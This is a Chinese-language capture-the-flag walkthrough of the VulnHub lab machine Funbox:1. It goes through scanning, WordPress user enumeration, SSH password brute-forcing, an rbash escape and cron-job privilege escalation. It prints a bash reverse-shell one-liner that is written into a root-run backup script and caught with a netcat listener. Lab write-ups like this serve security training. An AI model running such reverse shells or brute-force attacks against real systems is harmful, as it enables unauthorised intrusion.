vulnhub-wp funbox:1
🔍 信息收集(Enumeration)
🖳 主机发现(Host Discover)
我们使用netdiscover命令扫描kali的c段
1 |
|
-r
指定网段
发现目标机是192.168.61.7👁 端口扫描(Port Scan)
我们使用nmap进行一个全扫描1
nmap -p- 192.168.61.7 -sV
-p-
扫描全端口 (注:这会产生比较大的流量)-sV
探测端口服务
得到一个ftp,ssh,http还有一个类似mysql的服务
🕵♂ 服务探测(Service Detection)
我们先从最简单的开始,http,访问目标的80端口。
发现被重定向到了一个未知的url,那我们修改hosts文件把这个url绑定到目标ip,然后重新访问
然后发现目标web的cms指纹是wp,那直接上专业工具
我们使用wpscan对目标网站进行扫描
1 |
|
-e vp,vt,u
指定使用主题漏洞扫描(vt),插件漏洞扫描(vp),用户扫描(u)--url
指定扫描目标
发现枚举出了俩个用户,可以去登录界面试试弱口令
🚪🚶 获取权限(Foothold)
💲 ssh获取shell(ssh get shell)
经过尝试,发现用户joe有弱口令12345,那我们可以联想到是否ftp和ssh也有弱口令?
直接上hydra(九头蛇)爆破试试,注:在真实渗透测试中,我们应该尽量减少暴力破解的次数,或者应当在收集到了足够的信息再去爆破
1 |
|
-l
指定用户名-P
指定密码字典-v
指定详细信息输出,将会输出爆破进度ip + 服务名
-t
指定线程为4,在ssh爆破时,应使用hydra推荐的线程数4
接下来我们就可以使用弱口令直接ssh登录joe用户
🏃 rbash逃逸(rbash escape)
我们可以发现,获取的是一个rbash,这个时候我们就要进行rbash逃逸。
注:这里的pspy64文件是我之前打靶的时候就已经下载了的文件
逃逸方法有很多种,我这里就用python来逃逸
1 |
|
然后我们先看看mbox是个什么东西(一般自己家目录下都会有点东西提示)
重点解读就是joe用户帮root用户写过一个脚本,还有joe用户将密码设成了12345
🛡️ 权限提升(Privilege Escalation)
然后我们就是找这个脚本,后经过一番寻找,我们最终在funny的家目录下发现了backup脚本,还有一个网站的打包文件
到了这,我们可以猜测这个就是joe用户写的脚本,脚本里面的内容是对/var/www/html目录进行打包。那就很明显了,和网站备份相关的计划任务。
为了验证我们的猜想,我们用pspy工具检测一下
1 |
|
-d
指定要观察的目录
pspy(也称为”pspy64”)是一个用于监视进程活动的工具,特别是在Linux环境中。它允许用户监视正在运行的进程,查看它们的活动和与文件系统的交互,以及与其他进程的通信。pspy是一个轻量级的工具,通常被用于安全审计和故障排除,也可以用于发现潜在的安全问题。
果然,是发现有一个root的计划任务和funny的计划任务,后面更是发现,root是5分钟执行一次,funny用户是2分钟执行一次💀 反弹root shell(reverse root shell)
因为我们对backup有修改权限,我们直接在backup脚本中写入反弹shell的语句1
bash -i >& /dev/tcp/192.168.61.126/1234 0>&1
bash -i
这部分启动Bash shell,并使用-i标志表示要以交互方式运行,这意味着它可以接收用户输入并显示输出
>& /dev/tcp/192.168.61.126/1234
这是一个重定向操作符,将Bash的标准输出和标准错误(1和2)都重定向到指定的IP地址和端口上的网络连接。具体来说,它将输出重定向到/dev/tcp/192.168.61.126/1234。0>&1
这也是一个重定向操作符,将标准输入(0)重定向到与标准输出相同的地方,也就是之前重定向到网络连接的位置。
这个命令的作用是将Bash shell的输入和输出连接到IP地址192.168.61.126上的端口1234,这通常用于建立与另一台计算机的反向Shell连接,使远程主机可以控制和执行命令在被攻击的主机上
这是一个常见的bash反弹shell的语句,然后我们在kali开启nc监听
1 |
|
-l
: 这是netcat的一个选项,用于指示netcat进入监听模式,即等待传入连接。-n
: 这是另一个选项,用于指示netcat不要执行DNS解析,以便更快地处理连接。-v
: 这是一个选项,用于启用详细的输出,通常用于调试目的。-p
: 指定netcat监听的端口号。在这个例子中,它监听端口1234。
多次监听后也是成功拿到了root的shell
🐇 兔子洞(rabbit hole)
一开始我们在wpscan扫描出来的另外一个用户,admin,我们拿到joe的shell后可以去网站目录下看wp的配置文件,然后进入数据库查看用户名和密码
接着我们把这个给复制出来,用john去爆破这个hash值
1 |
|
pass.txt
将要破解的hash值写入一个文本文件--wordlist=
指定密码字典为kali共享目录下的rockyou字典
爆破出来后我们可以看到是iubire
,拿去登录看看
成功登录后我们可以试着看能不能用wp的漏洞去getshell,但是很显然在这里应该是拿不到root权限的,最多拿一个普通shell,或者说普通shell都拿不到
具体咋样还有待后续的尝试
待续
📖 推荐文章
国外大佬关于funbox:1的wp:funbox:1
rbash逃逸的方法:rbash逃逸
funbox:1靶机下载地址:下载